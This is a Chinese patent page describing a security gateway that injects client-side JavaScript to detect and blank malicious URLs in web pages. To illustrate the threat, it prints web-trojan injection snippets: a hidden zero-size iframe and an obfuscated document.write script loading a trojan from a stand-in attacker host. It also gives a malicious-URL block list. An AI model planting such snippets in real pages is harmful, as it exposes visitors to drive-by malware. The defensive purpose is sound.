CN102469113B - 一种安全网关及其转发网页的方法 - Google Patents
一种安全网关及其转发网页的方法 Download PDFInfo
- Publication number
- CN102469113B CN102469113B CN201010532887.0A CN201010532887A CN102469113B CN 102469113 B CN102469113 B CN 102469113B CN 201010532887 A CN201010532887 A CN 201010532887A CN 102469113 B CN102469113 B CN 102469113B
- Authority
- CN
- China
- Prior art keywords
- web page
- url
- mobile code
- web
- described mobile
- Prior art date
- Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
- Expired - Fee Related
Links
Landscapes
- Information Transfer Between Computers (AREA)
Abstract
本发明公开了一种安全网关及其转发网页的方法;所述方法包括:当从服务器得到客户端请求的Web页面后,将预先生成的移动代码依附到待转发Web页面中;所述移动代码被设置成当执行时遍历所依附的Web页面对应的文档对象模型,抽取出指定HTML标签中的URL,并将抽取出的URL与预先设置的恶意URL集合进行匹配;在依附了所述移动代码的所述Web页面中添加命令语句;所述命令语句设置成当所述Web页面被加载时触发所述移动代码执行;将依附了所述移动代码并添加语句后的Web页面转发给所述客户端。本发明能够在不加重安全网关计算开销的情况下,对隐藏在Web页面中的恶意URL进行准确的检测。
Description
技术领域
本发明涉及网络安全领域,具体涉及一种安全网关及其转发网页的方法。
背景技术
经过近二十年的发展,当前互联网规模已经非常庞大,特别是作为互联网主要业务之一的Web业务更是得到了极速发展,给人们获取信息带来了极大便利。与此同时,那些为人们提供Web业务的Web网站的安全状况堪忧,最常见的安全问题是Web网站网页被黑客挂马。目前,90%以上的木马、病毒都是利用挂马网页传播的。早期的网页挂马是在Web网页中直接嵌入IFRAME或者Object对象实现的,比如,黑客在受害者网站www.abc.com首页面中直接嵌入下面的代码:
<iframe src=”http://www.hackers.com/Trojan.html”width=0height=0/>
上述HTML代码中,http://www.hackers.com/Trojan.html所指示的网页就是一个想通过受害者网站www.abc.com传播的网页木马。如图1所示,当作为受害者的Web客户端发送请求给被挂马的Web网站www.abc.com,得到www.abc.com网站首页面并打开时,会去请求木马所在Web网站www.hackers.com的网页木马Trojan.html,Trojan.html将被自动加载在客户端上,并在用户没有知觉的情况下实现对该客户端的漏洞攻击和木马安装。
这些被挂马的网站既是黑客攻击的受害者,客观上也充当了黑客传播木马的“帮凶”。一旦一个网站被黑客挂马,将对该网站的声誉造成非常不好的影响,因此,网站管理员都在寻求一种能够自动检测其网站各Web页面中网页挂马脚本的方法。从上面所述的Web网页挂马例子看出,通常情况下,被挂马Web网页和网页木马并不在同一个Web网站上。绝大多数情况下,黑客只是在被挂马的Web页面中塞入少量几行HTML代码(如上所示),这些HTML代码并不具有传统文件病毒所具有的病毒特征,因此,无法采用传统病毒查杀方法对被保护Web网站的所有Web页面进行病毒扫描来发现网页中隐藏的网页挂马。
目前,一种最简单直接的检测网页挂马脚本的方法就是对各Web页面进行网页结构分析(也称为文档对象模型分析),然后查找网页中是否包含指向网页木马网站的恶意URL(Universal Resource Location,统一资源定位符)来判定当前Web网页是否被挂马。后面叙述中,本文称那些指向网页木马所在位置的URL为恶意URL。
由于直接嵌入HTML代码的网页挂马方法比较容易通过上面描述的网页结构分析检测出来,因此,攻击者开始更高级的网页挂马方法。目前最流行的网页挂马方法则是采用客户端脚本来实现。比如,攻击者在www.abc.com网站首页面中嵌入下面的脚本,是采用Javascript生成IFRAME标签实现的网页挂马代码:
<script type=”text/j avascript”>
var l=“http:”+”//”+”www”+”.”+”hackers”+”.”+”com/Trojan.html”
document.write(“<iframe”+“src=”+l+“width=0height=0>”)
</script>
该Javascript代码将恶意URL保存在变量l中,然后,通过document对象的write函数向当前Web网页的文档对象模型输出一个IFRAME标签来实现对指定的网页木马的自动加载,从而实现了对Web客户端的漏洞攻击和木马安装。由于采用客户端脚本的网页挂马方法理论上存在无数种变形,因此无法通过静态的、自动化的网页结构分析检测出来。
目前比较流行的网页挂马检测方法为Web客户端蜜罐法,其主要原理是:在一个被完全控制的蜜罐中运行一个网页爬虫,由网页爬虫定期访问被监控的Web网站,并尝试打开其中每一个网页,当打开某个网页的过程中发现蜜罐被植入了病毒,则判定该网页被挂马。基于蜜罐的网页挂马检测方法存在的主要不足是:1)蜜罐检查法对蜜罐环境的依赖性较大,它不能检测出那些没有满足攻击条件的网页木马,比如,采用IntemetExplorer作为浏览器的蜜罐是无法检测到那些针对Mozilla浏览器漏洞的网页木马;2)蜜罐检测法为一种主动性的网页挂马检测方法,无法实现对网页挂马的实时检测;3)蜜罐检测法对计算资源要求较高,无法在Web安全网关上实现。
在实际的Web安全防御过程中,人们往往采用Web安全网关(也称为Web应用防火墙)来实现对网页挂马的实时检测,这是因为Web安全网关部署在离Web服务器最近的地方,它可以对进出Web服务器的HTTP流量进行监控。目前常见的基于Web安全网关的网页挂马检测方法就是前面提到的网页结构分析和URL匹配方法,其具体工作原理为:首先收集那些代表网页木马所在位置的恶意URL,并保存在网页挂马知识库中;然后,对于转发给Web客户端的每个Web网页,Web安全网关对该Web页面进行文档对象模型(Document Object Model,DOM)分析,抽取出嵌入在该Web页面中的所有URL,并与先前保存在网页挂马知识库中的恶意URL进行匹配,如果匹配成功,则表示检测到了网页挂马。
基于Web安全网关的网页挂马检测方法优点是易于实现,缺点是:由于Web安全网关计算能力限制,目前的Web安全网关并不提供对客户端脚本(比如Javascript或者VBScript)的解释执行能力,因此,Web安全网关无法提取出那些利用客户端脚本生成的恶意URL,从而无法检测出那些采用客户端脚本进行网页挂马的网页挂马行为。
为叙述方便,本文将那种不支持客户端脚本解释执行的网页结构分析方法称为静态网页结构分析方法,而将那种支持客户端脚本解释执行的网页结构分析方法称为动态网页结构分析方法。
发明内容
本发明要解决的技术问题是提供一种安全网关及其转发网页的方法,能够在不加重安全网关计算开销的情况下,对隐藏在Web页面中的恶意URL进行准确的检测。
为了解决上述问题,本发明提供了一种安全网关转发网页的方法,包括:
当从服务器得到客户端请求的Web页面后,将预先生成的移动代码依附到待转发Web页面中;所述移动代码被设置成当执行时遍历所依附的Web页面对应的文档对象模型,抽取出指定HTML标签中的URL,并将抽取出的URL与预先设置的恶意URL集合进行匹配;
在依附了所述移动代码的所述Web页面中添加命令语句;所述命令语句设置成当所述Web页面被加载时触发所述移动代码执行;
将依附了所述移动代码并添加语句后的Web页面转发给所述客户端。
优选地,所述在所述Web页面中添加语句的步骤包括:
在依附了所述移动代码的所述Web页面的Body标签增加onload事件,并使onload事件指向所述移动代码的主要函数。
优选地,所述在所述Web页面中添加语句的步骤包括:
在依附了所述移动代码的所述Web页面的最后位置增加一个直接调用所述移动代码主函数的SCRIPT标签。
优选地,所述移动代码还被设置成当所抽取的URL和所述恶意URL集合中任一URL匹配时,发送包含恶意URL报警的HTTP请求给指向所述安全网关的特定URL。
优选地,所述移动代码还被设置成如果发现一个HTML标签相关的URL值和所述恶意URL集合中任一URL匹配时,将该HTML标签的URL值置为空值。
本发明还提供了一种安全网关,包括:
添加模块,用于当从服务器得到客户端请求的Web页面后,将预先生成的移动代码依附到待转发Web页面中;所述移动代码被设置成当执行时遍历所依附的Web页面对应的文档对象模型,抽取出指定HTML标签中的URL,并将抽取出的URL与预先设置的恶意URL集合进行匹配;
Web页面修改模块,用于在依附了所述移动代码的所述Web页面中添加命令语句,所述命令语句设置成所述Web页面当被加载时触发所述移动代码执行;
Web页面转发模块,用于将依附了所述移动代码并添加语句后的Web页面转发给所述客户端。
优选地,所述Web页面修改模块在所述Web页面中添加语句是指:
所述Web页面修改模块在依附了所述移动代码的所述Web页面的Body标签增加onload事件,并使onload事件指向所述移动代码的主要函数。
优选地,所述Web页面修改模块在所述Web页面中添加语句是指:
所述Web页面修改模块在依附了所述移动代码的当前Web页面最后位置增加一个直接调用所述移动代码主函数的SCRIPT标签。
优选地,所述移动代码还设置成当所抽取的URL和所述恶意URL集合中任一URL匹配时,发送包含恶意URL报警的HTTP请求给指向所述安全网关的特定URL;
所述安全网关还包括:
恶意URL报警接收模块,用于当收到恶意URL报警时通知安全管理员;
HTTP请求转发模块,与所述恶意URL报警接收模块连接,用于接收来自所述客户端的HTTP请求,如果该HTTP请求包含恶意URL报警,则将该HTTP请求中包含的恶意URL报警转发给所述恶意URL报警接收模块;如果不包含恶意URL报警,则转发给服务器。
优选地,所述移动代码还设置成当一个HTML标签的URL值和所述恶意URL集合中任一URL匹配时,将该HTML标签的URL值置为空值。
本发明的技术方案的优点包括:
1)Web安全网关无需对待转发的Web页面执行静态的和动态的网页结构分析和恶意URL匹配,只需注入可在Web客户端执行的移动代码即可,所有的对Web页面的动态网页结构分析和恶意URL匹配操作都将在Web客户端由标准浏览器和所述移动代码完成,这将极大地减轻Web安全网关的计算开销;
2)对Web页面的动态网页结构分析操作可以由具有客户端脚本解释执行能力的标准浏览器完成的,充分利用了Web客户端浏览器强大的动态网页结构分析能力,所述移动代码只需要在Web浏览器构建完文档对象模型并准备加载远程对象之前对文档对象模型进行遍历,就可以提取出所需要的URL列表,从而可以方便的实现对包含在Web页面中的恶意URL的准确检测;
3)恶意URL检测操作是由Web安全网关和Web客户端协助完成的,无需Web服务器的参与,因此易于部署;与当前的单纯由Web安全网关实现的恶意URL检测方法相比,既可以减轻Web安全网关的计算压力,同时也可大幅提高对Web页面的恶意URL的检测准确度。
附图说明
图1为Web客户端访问被挂马网站时的攻击过程;
图2为采用实施例一的网页转发方法时,进行恶意URL过滤的方法的流程示意图;
图3为实施例一的例子中Web客户端构造的文档对象模型。
具体实施方式
下面将结合附图及实施例对本发明的技术方案进行更详细的说明。
需要说明的是,如果不冲突,本发明实施例以及实施例中的各个特征可以相互结合,均在本发明的保护范围之内。另外,在附图的流程图示出的步骤可以在诸如一组计算机可执行指令的计算机系统中执行,并且,虽然在流程图中示出了逻辑顺序,但是在某些情况下,可以以不同于此处的顺序执行所示出或描述的步骤。
实施例一,一种安全网关转发网页的方法,包括:
当从服务器得到客户端请求的Web页面后,将预先生成的移动代码依附到待转发Web页面中;所述移动代码被设置成当执行时遍历所依附的Web页面对应的文档对象模型,抽取出指定HTML标签中的URL,并将抽取出的URL与预先设置的恶意URL集合进行匹配;
在依附了所述移动代码的所述Web页面中添加命令语句;所述命令语句设置成当所述Web页面被加载时触发所述移动代码执行;
将依附了所述移动代码并添加语句后的Web页面转发给所述客户端。
本实施例中,所述移动代码是可以由Web浏览器或Web客户端中其它程序解释执行的;当位于Web客户端的标准Web浏览器加载依附了所述移动代码的Web页面时,将会在加载过程中或加载完成后执行所述移动代码;所述移动代码会遍历当前Web页面所对应的文档对象模型,抽取出所依附Web页面中与可能用来加载网页木马的HTML标签相关的URL,并将抽取出的URL与所述恶意URL集合进行匹配,从而完成对Web页面的检测。
本实施例中,所述指定HTML标签可以但不限于设置为可能用来加载网页木马的HTML标签,应用时也可以是各类HTML标签;所述的可能用来加载网页木马的HTML标签可以包括以下任一种或其任意组合:IFRAME、OBJECT、SCRIPT,LINK。实际应用时,可以根据情况确定所述移动代码中的指定HTML标签,还可以在实施过程中修改。
本实施例中,所述的预先设置的恶意URL集合可以但不限于由安全专家通过Web蜜网或者Web安全事件应急响应过程中收集整理而来。
本实施例中,所述移动代码可以但不限于为Javascript脚本或VBScript脚本。
本实施例中,所述方法还可以包括:
更新所述恶意URL集合,包括增加、修改和删除所述恶意URL集合中的恶意URL;
当所述恶意URL集合更新后,用更新后的恶意URL集合替代所述移动代码中原有的恶意URL集合,或生成新的、携带更新后的恶意URL集合的移动代码。
本实施例的一种实施方式中,所述在所述Web页面中添加语句的步骤具体可以包括:
在依附了所述移动代码的所述Web页面的Body标签增加onload事件,并使onload事件指向所述移动代码的主要函数。
该实施方式中,所述客户端的Web浏览器将会在加载过程中执行所述移动代码。
本实施例的另一种实施方式中,所述在所述Web页面中添加语句的步骤具体可以包括:
在依附了所述移动代码的所述Web页面的最后位置增加一个直接调用所述移动代码主函数的SCRIPT标签。
该实施方式中,所述客户端的Web浏览器将会在加载完成后执行所述移动代码。
本实施例中所述在所述Web页面中添加语句的步骤不限于以上两种实施方式。
本实施例中,所述Web浏览器加载Web页面过程中,调用依附于Web页面中的移动代码的时间点为:Web浏览器为当前Web页面创建完文档对象模型之后和远程获取文档对象模型中相关元素的嵌入式对象之前。
本实施例中,所述移动代码携带指向所述安全网关的特定URL,所述移动代码还可以被设置成当所抽取的URL和所述恶意URL集合中任一URL匹配时,通过所述的指向所述安全网关的特定URL向所述安全网关报警,比如但不限于发送包含恶意URL报警的HTTP请求给指向Web安全网关的特定URL。该情况下,如果客户端执行所述移动代码时检测到匹配的恶意URL,则可以向所述安全网关告警。
本实施例中,所述移动代码还可以被设置成如果发现一个HTML标签相关的URL值和所述恶意URL集合中任一URL匹配时,将该HTML标签的URL值置为空值,从而阻止客户端的Web浏览器加载该URL所指向的恶意对象。
本实施例中的Web安全网关位于Web客户端和受保护Web网站之间。所述Web客户端可运行标准Web浏览器程序,包括微软的IE浏览器、谷歌的Chrome浏览器或者Mozilla的FireFox浏览器等等。目前,所有标准Web浏览器都支持Javascript客户端脚本的解释执行。此外,微软的IE浏览器还支持VBscript作为客户端脚本。
目前,所有Web页面都采用标准的HTML语言描述,因此,一个Web页面所对应的文档也称为HTML文档。标准Web浏览器在加载一个HTML文档的过程为:首先依据HTML文档内容构造该HTML文档所对应的文档对象模型(也称为DOM树);然后,依据DOM树内容远程获取所需要的各种嵌入式对象(包括图像、视频和音频文件);最后,向用户呈现一个图文并貌的Web页面。如果HTML文档中包含客户端脚本,则HTML文档的加载过程将复杂一些,标准浏览器这时需要客户端脚本执行器的帮助。
目前常见的客户端脚本多为Javascript,下面以Javascript为例说明标准Web浏览器加载包含Javascript脚本的HTML文档的过程。
目前,标准HTML文档采用两种方式引入javascript脚本:1)采用SCRIPT脚本直接引入javascript脚本,比如<script>alert(123);</script>,在这种情况下,标准浏览器将直接执行夹在<script>和</script>标签之间的“alert(123)”;2)通过SCRIPT标签的SRC属性远程引入javascript脚本,比如<script src=“http://hostl/mimi.js”>,在这种情况下,标准Web浏览器将首先获取hostl上的mimi.js文件,然后再执行该文件中所包含的javascript脚本。
标准Web浏览器在加载HTML文档时是按顺序加载各HTML标签元素的,并在HTML标签元素加载过程时动态构造文档对象树。当加载到SCRIPT元素时,它将马上执行与该SCRIPT标签相关的javascript脚本,所执行的javascript脚本允许读取和修改当前的文档对象模型。所以,如果HTML文档中存在多个SCRIPT元素,标准Web浏览器是按照Javascript脚本在HTML文档中的出现顺序执行的,也就是说出现在HTML文档最前面的javascript脚本总是先于后面的javascript执行。当标准Web浏览器加载完HTML文档中所有的HTML标签元素后,所述HTML文档所对应的文档对象模型就构造完成。
当HTML文档加载完毕并构造了相应的文档对象模型后,标准Web浏览器检查该文档对象模型中的BODY元素是否包含onload事件,如果存在onload事件,则调用onload事件中的javascript脚本,该javascript脚本允许对当前的文档对象模型进行读取和修改操作。
最后,Web浏览器剩下工作就是为文档对象模型中某些特定元素获取指定的远程对象,然后为用户呈现一个图文并茂的Web页面。
在实施本实施例的网页转发方法时,所采用的Web安全网关一般采用反向Web代理的方式实现,它部署在Web服务器的前面,对进出Web服务器的HTTP流量进行安全控制。Web安全网关向Web服务器转发来自Web客户端的HTTP请求,同时向Web客户端转发Web服务器返回的Web页面。
本实施例的一个例子中,Web安全网关和Web客户端、受保护的Web服务器之间的协作流程如图2所示,包括如下几个步骤:
201、Web客户端向Web服务器提交HTTP请求,请求指定的Web页面;
202、Web安全网关将截获该HTTP请求,进行安全检查;
203、Web安全网关将安全检查后的HTTP请求转发给受保护的Web服务器;
204、Web服务器处理HTTP请求,返回相应的Web页面给Web安全网关;
205、Web安全网关为该Web页面依附一段可在Web客户端执行的移动代码;
206、Web安全网关转发依附了移动代码的Web页面给Web客户端;
207、Web客户端加载依附了移动代码的Web页面,并在为该Web页面构造文档对象模型完毕后调用依附的移动代码,执行所述移动代码遍历当前Web页面所对应的文档对象模型,抽取出所依附Web页面中所有可能用来加载网页木马的HTML标签相关的URL,并与所述恶意URL集合进行匹配;
208、如果在步骤207中检测到匹配的恶意URL,则向Web安全网关发送包含恶意URL报警的HTTP请求;
209、Web安全网关接收来自Web客户端的恶意URL报警;虽然该报警也是用HTTP请求的形式发送的,但Web安全网关检测到其中包含恶意URL报警后,将不会将该HTTP请求转发给Web服务器。
下面用三个具体的例子进行说明:
例子一,本例子中Web安全网关的恶意URL知识库中包含三条恶意URL,它们分别为:
http://www.hackers.com/trojan.html
http://www.hackers.cn/attacker.html
http://www.hackers.jp/attacker.png
该例子中,生成如下由Javascript脚本描述的移动代码:
<script>
evilURLs={“http://www.hackers.corn/trojan.html”,
”http://www.hackers.cn/attacker.html”,
“http://www.hackers.jp/attacker.png”
}
function DetectEvilURLs(document){
//首先对iframe标签进行恶意URL检测
var iframeTags=document.getElementsByTagName(″iframe″);
for(i=0;i<iframeTags.length;i++){
If(iframeTags[i].src){
if(belongto(iframeTags[i].src,evilURLs)){
alerttoWAF(iframeTags[i].src);//向WAF报警
}
}
}
//然后对Javascript标签进行恶意URL检测
var jsTags=document.getElementsByTagName(″SCRIPT″);
for(i=0;i<jsTags.length;i++){
If(jsTags[i].src){
if(belongto(jsTags[i].src,evilURLs)){
alerttoWAF(styleTags[i].src);//向WAF报警
}
}
}
//然后对LINK标签进行恶意URL检测
var styleTags=document.getElementsByTagName(″LINK″);
for(i=0;i<styleTags.length;i++){
If(styleTags[i].href){
if(belongto(styleTags[i].href,evilURLs)){
alerttoWAF(styleTags[i].href);//向WAF报警
}
}
}
}
</script>
为方便起见,后文中将上述代码称为移动代码A。
所述的移动代码A中,首先采用evilURLs数组定义了预先设置的恶意URL集合;然后,定义了一个用于实现对恶意URL进行检测的javascript函数DetectEvilURLs,该函数搜索当前文档对象模型中的IFRAME、SCRIPT和LINK标签,并检测这些标签所对应远程对象的URL是否与恶意URL匹配,如果匹配则向Web安全网关进行报警。
假设被保护的Web网站www.abc.com上存在一个Web页面(名字为ProductDetail.html),该Web页面所对应的HTML代码如下所示。
<HTML>
<head><title>Product Detail</title></head>
<body>
<font>many text showed here</font>
<body>
</html>
假设由于安全漏洞问题,该Web网站被黑客获得了网页篡改权利,黑客在上述Web页面的HTML代码中插入一段如背景技术中所述的网页挂马代码,网页挂马后的Web页面的HTML代码如下所示。采用这种方式插入的网页挂马代码是无法通过现有的静态Web结构分析方法发现的。
<HTML>
<head><title>Product Detail</title></head>
<body>
<font>many text showed here</font>
<script>
var url=“http:”+”//”+”www”+”.”+”hackers”+”.”+”com/Trojan.html”
document.write(“<iframe”+“src=”+url+“width=0 height=0>”)
</script>
<body></html>
假设Web客户端访问被保护Web网站上指定的Web页面ProductDetail.html,Web服务器在处理该HTTP请求后,将上述网页挂马后的Web页面内容发送给Web安全网关;Web安全网关在转发该Web页面内容前,将为其依附一段所述的移动代码A,并修改该Web页面内容中的Body标签,使得Body标签的onload事件指向该段移动代码中的DetectEvilURLs函数;修改后并依附了移动代码的Web页面内容如下所示。
<HTML>
<head><title>Product Detail</title></head>
<body onload=”FilterEvilURLs();”>
<gont>many text showed here</font>
<script>
var l =“http.:”+”//”+”www”+”.”+”hackers”+”.”+”com/Trojan.html”
document.write(“<iframe”+“src=”+l+“width=0 height=0>”)
</script>
<script type=”text/javascript”>
evilURLs={....}
function DetectEvilURLs(document){
}
</script></body></html>
最后,Web安全网关将如上的修改后并依附了移动代码的Web页面内容发送给Web客户端。
Web客户端上的Web浏览器接收到如上的修改后并依附了移动代码的Web页面内容后,将加载该Web页面内容并构造文档对象模型。加载完毕后,所得到的文档对象模型如图3所示,根节点为HTML,根节点的两个子节点分别为Head和Body;Head的子节点为title;Body有四个子节点,分别是font、script、iframe、script。
当如图3所示的文档对象模型构造完毕后,Web浏览器执行Body标签中的onload事件,调用所述的移动代码A,所述移动代码A首先抽取所有的SCRIPT标签,并获取该标签的SRC属性中的URL,然后调用belongto函数判定该URL是否属于恶意URL集合,如果属于恶意URL集合,则向Web安全网关报警。此外,所述移动代码A还抽取IFRAME标签的SRC属性中的URL,以及LINK标签的HREF属性中的URL值,并调用belongto函数判定该URL是否属于恶意URL集合。此例子中,所述移动代码A将发现IFRAME标签的SRC属性中包含的URL“http://www.hackers.com/Trojan.html”与恶意URL集合中第1个元素匹配,因此,所述移动代码A将向Web安全网关报警。
例子二,与例子一基本相同,唯一不同的是:例子二并不是截获BODY标签的onload事件来获得所依附的移动代码的执行权利,而是通过在Web文档的最后附加一个SCRIPT标签来直接调用移动代码主函数的方法在Web文档对象模型构造完毕后获得对所依附的移动代码的执行权力。所述的依附了移动代码和SCRIPT标签后的Web页面如下所示。
<HTML>
<head><title>Product Detail</title></head>
<body>
<font>many text showed here</font>
<script>
var l =“http:”+”//”+”www”+”.”+”hackers”+”.”+”com/Trojan.html”
document.write(“<iframe”+“src=”+l+“width=0height=0>”)
</script>
</body></html>
<script type=”text/javascript”>
evilURLs={....}
function DetectEvilURLs(document){
}
</script>
<script>
DetectEvilURLs(document);
</script>
例子二中采用在最后追加SCRIPT标签,并在SCRIPT标签中直接调用移动代码主函数方法的优点是:Web安全网关在注入移动代码时并不需要分析Web文档结构,从而可以极大地提高Web安全网关的移动代码注入速度。
例子三,与例子一基本相同,唯一不同的是:例子三中生成的移动代码包含了对Web页面中的恶意URL进行过滤的功能,从而实时保障Web客户端的安全。所述恶意URL过滤操作由移动代码执行。
例子三中,移动代码对恶意URL的过滤方法为:当在文档对象模型中发现某HTML标签的URL值与某恶意URL匹配时,将其置为空值,这样阻止了Web浏览器加载该恶意URL所指向的恶意对象(经常为网页木马),从而保障Web客户端免受网页木马的攻击。
包含了恶意URL过滤功能的移动代码如下所示。
<script>
evilURLs={“http://www.hackers.com/trojan.html”,
”http://www.hackers.cn/attacker.html”,
“http://www.hackers.jp/attacker.png”
}
function DetectEvilURLs(document){
//首先对iframe标签进行恶意URL检测
var iframeTags=document.getElementsByTagName(″iframe″);
for(i=0;i<iframeTags.length;i++){
If(iframeTags[i].src){
if(belongto(iframeTags[i].src,evilURLs)){
iframeTags[i].src=“”//置为空值,阻止加载恶意对象
alerttoWAF(iframeTags[i].src );//向WAF报警
}
}
}
//然后对Javascript标签进行恶意URL检测
varjsTags=document.getElementsByTagName(″SCRIPT″);
for(i=0;i<jsTags.length;i++){
If(jsTags[i].src){
if(belongto(jsTags[i].src,evilURLs)){
jsTags[i].src=“”//置为空值,阻止加载恶意对象
alerttoWAF(jsTags[i].src);//向WAF报警
}
}
}
//然后对LINK标签进行恶意URL检测
var styleTags=document.getElementsByTagName(″LINK″);
for(i=0;i<styleTags.length;i++){
If(styleTags[i].href){
if(belongto(styleTags[i].href,evilURLs)){
styleTags[i].href=“”//置为空值,阻止加载恶意对象
alerttoWAF(styleTags[i].href);//向WAF报警
}
}
}
}
</script>
实施例二,一种安全网关,包括:
添加模块,用于当从服务器得到客户端请求的Web页面后,将预先生成的移动代码依附到待转发Web页面中;所述移动代码被设置成当执行时遍历所依附的Web页面对应的文档对象模型,抽取出指定HTML标签中的URL,并将抽取出的URL与预先设置的恶意URL集合进行匹配;
Web页面修改模块,用于在依附了所述移动代码的所述Web页面中添加命令语句,所述命令语句设置成所述Web页面当被加载时触发所述移动代码执行;
Web页面转发模块,用于将依附了所述移动代码并添加语句后的Web页面转发给所述客户端。
本实施例中,所述安全网关还可以包括:
用于生成所述移动代码的生成模块;
以及用于保存所述移动代码的存储模块。
本实施例中,所述指定HTML标签可以但不限于设置为可能用来加载网页木马的HTML标签,应用时也可以是各类HTML标签;所述的可能用来加载网页木马的HTML标签可以包括以下任一种或其任意组合:IFRAME、OBJECT、SCRIPT,LINK。实际应用时,可以根据情况确定所述移动代码中的指定HTML标签,还可以在实施过程中修改。
本实施例中,所述的预先设置的恶意URL集合可以但不限于由安全专家通过Web蜜网或者Web安全事件应急响应过程中收集整理而来。
本实施例中,所述移动代码还可以设置成当一个HTML标签的URL值和所述恶意URL集合中任一URL匹配时,将该HTML标签的URL值置为空值,从而阻止客户端的Web浏览器加载该URL所指向的恶意对象。
本实施例中,所述移动代码还可以设置成当所抽取的URL和所述恶意URL集合中任一URL匹配时,通过指向所述安全网关的特定URL向所述安全网关报警,比如但不限于发送包含恶意URL报警的HTTP请求给指向所述安全网关的特定URL。
此情况下,所述安全网关还可以包括:
恶意URL报警接收模块,用于当收到恶意URL报警时通过某种预设的方式通知安全管理员;比如在报警控制台显示报警信息,告诉管理员所挂马的Web页面的URL以及网页木马的URL等;
HTTP请求转发模块,与所述恶意URL报警接收模块连接,用于接收来自所述客户端的HTTP请求,如果该HTTP请求包含恶意URL报警,则将该HTTP请求中包含的恶意URL报警转发给所述恶意URL报警接收模块;如果不包含恶意URL报警,则转发给Web服务器。
本实施例中,所述移动代码可以但不限于为Javascript脚本或VBScript脚本。
本实施例中,所述安全网关还可以包括:
维护模块,用于更新所述恶意URL集合,包括增加、修改和删除恶意URL集合中的恶意URL;
当所述更新模块更新了所述恶意URL集合更新后,用更新后的恶意URL集合替代所述移动代码原有的URL集合。
本实施例的一种实施方式中,所述Web页面修改模块在所述Web页面中添加语句具体可以是指:
所述Web页面修改模块在依附了所述移动代码的所述Web页面的Body标签增加onload事件,并使onload事件指向所述移动代码的主要函数。
该实施方式中,所述客户端的Web浏览器将会在加载过程中执行所述移动代码。
本实施例的另一种实施方式中,所述Web页面修改模块在所述Web页面中添加语句具体可以是指:
所述Web页面修改模块在依附了所述移动代码的当前Web页面最后位置增加一个直接调用所述移动代码主函数的SCRIPT标签。
该实施方式中,所述客户端的Web浏览器将会在加载完成后执行所述移动代码。
本实施例中所述Web页面修改模块在所述Web页面中添加语句的步骤不限于以上两种实施方式。
本领域普通技术人员可以理解上述方法中的全部或部分步骤可通过程序来指令相关硬件完成,所述程序可以存储于计算机可读存储介质中,如只读存储器、磁盘或光盘等。可选地,上述实施例的全部或部分步骤也可以使用一个或多个集成电路来实现。相应地,上述实施例中的各模块/单元可以采用硬件的形式实现,也可以采用软件功能模块的形式实现。本发明不限制于任何特定形式的硬件和软件的结合。
当然,本发明还可有其他多种实施例,在不背离本发明精神及其实质的情况下,熟悉本领域的技术人员当可根据本发明作出各种相应的改变和变形,但这些相应的改变和变形都应属于本发明的权利要求的保护范围。
Claims (8)
1.一种安全网关转发网页的方法,包括:
当从服务器得到客户端请求的Web页面后,将预先生成的移动代码依附到待转发Web页面中;所述移动代码被设置成当执行时遍历所依附的Web页面对应的文档对象模型,抽取出指定HTML标签中的URL,并将抽取出的URL与预先设置的恶意URL集合进行匹配;
所述移动代码还被设置成当所抽取的URL和所述恶意URL集合中任一URL匹配时,发送报警给指向所述安全网关的特定URL;以及所述移动代码还被设置成如果发现一个HTML标签相关的URL值和所述恶意URL集合中任一URL匹配时,将该HTML标签的URL值置为空值;
在依附了所述移动代码的所述Web页面中添加命令语句;所述命令语句设置成当所述Web页面被加载时触发所述移动代码执行;
将依附了所述移动代码并添加语句后的Web页面转发给所述客户端。
2.如权利要求1所述的方法,其特征在于,所述在所述Web页面中添加语句的步骤包括:
在依附了所述移动代码的所述Web页面的Body标签增加onload事件,并使onload事件指向所述移动代码的主要函数。
3.如权利要求1所述的方法,其特征在于,所述在所述Web页面中添加语句的步骤包括:
在依附了所述移动代码的所述Web页面的最后位置增加一个直接调用所述移动代码主函数的SCRIPT标签。
4.如权利要求1到3中任一项所述的方法,其特征在于:
所述报警为包含恶意URL报警的HTTP请求。
5.一种安全网关,其特征在于,包括:
添加模块,用于当从服务器得到客户端请求的Web页面后,将预先生成的移动代码依附到待转发Web页面中;所述移动代码被设置成当执行时遍历所依附的Web页面对应的文档对象模型,抽取出指定HTML标签中的URL,并将抽取出的URL与预先设置的恶意URL集合进行匹配;所述移动代码还设置成当所抽取的URL和所述恶意URL集合中任一URL匹配时,发送报警给指向所述安全网关的特定URL;以及所述移动代码还设置成当一个HTML标签的URL值和所述恶意URL集合中任一URL匹配时,将该HTML标签的URL值置为空值;
Web页面修改模块,用于在依附了所述移动代码的所述Web页面中添加命令语句,所述命令语句设置成所述Web页面当被加载时触发所述移动代码执行;
Web页面转发模块,用于将依附了所述移动代码并添加语句后的Web页面转发给所述客户端。
6.如权利要求5所述的安全网关,其特征在于,所述Web页面修改模块在所述Web页面中添加语句是指:
所述Web页面修改模块在依附了所述移动代码的所述Web页面的Body标签增加onload事件,并使onload事件指向所述移动代码的主要函数。
7.如权利要求5所述的安全网关,其特征在于,所述Web页面修改模块在所述Web页面中添加语句是指:
所述Web页面修改模块在依附了所述移动代码的当前Web页面最后位置增加一个直接调用所述移动代码主函数的SCRIPT标签。
8.如权利要求5到7中任一项所述的安全网关,其特征在于:
所述移动代码发送的报警为包含恶意URL报警的HTTP请求;
所述安全网关还包括:
恶意URL报警接收模块,用于当收到恶意URL报警时通知安全管理员;
HTTP请求转发模块,与所述恶意URL报警接收模块连接,用于接收来自所述客户端的HTTP请求,如果该HTTP请求包含恶意URL报警,则将该HTTP请求中包含的恶意URL报警转发给所述恶意URL报警接收模块;如果不包含恶意URL报警,则转发给服务器。
Priority Applications (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN201010532887.0A CN102469113B (zh) | 2010-11-01 | 2010-11-01 | 一种安全网关及其转发网页的方法 |
Applications Claiming Priority (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN201010532887.0A CN102469113B (zh) | 2010-11-01 | 2010-11-01 | 一种安全网关及其转发网页的方法 |
Publications (2)
Publication Number | Publication Date |
---|---|
CN102469113A CN102469113A (zh) | 2012-05-23 |
CN102469113B true CN102469113B (zh) | 2014-08-20 |
Family
ID=46072278
Family Applications (1)
Application Number | Title | Priority Date | Filing Date |
---|---|---|---|
CN201010532887.0A Expired - Fee Related CN102469113B (zh) | 2010-11-01 | 2010-11-01 | 一种安全网关及其转发网页的方法 |
Country Status (1)
Country | Link |
---|---|
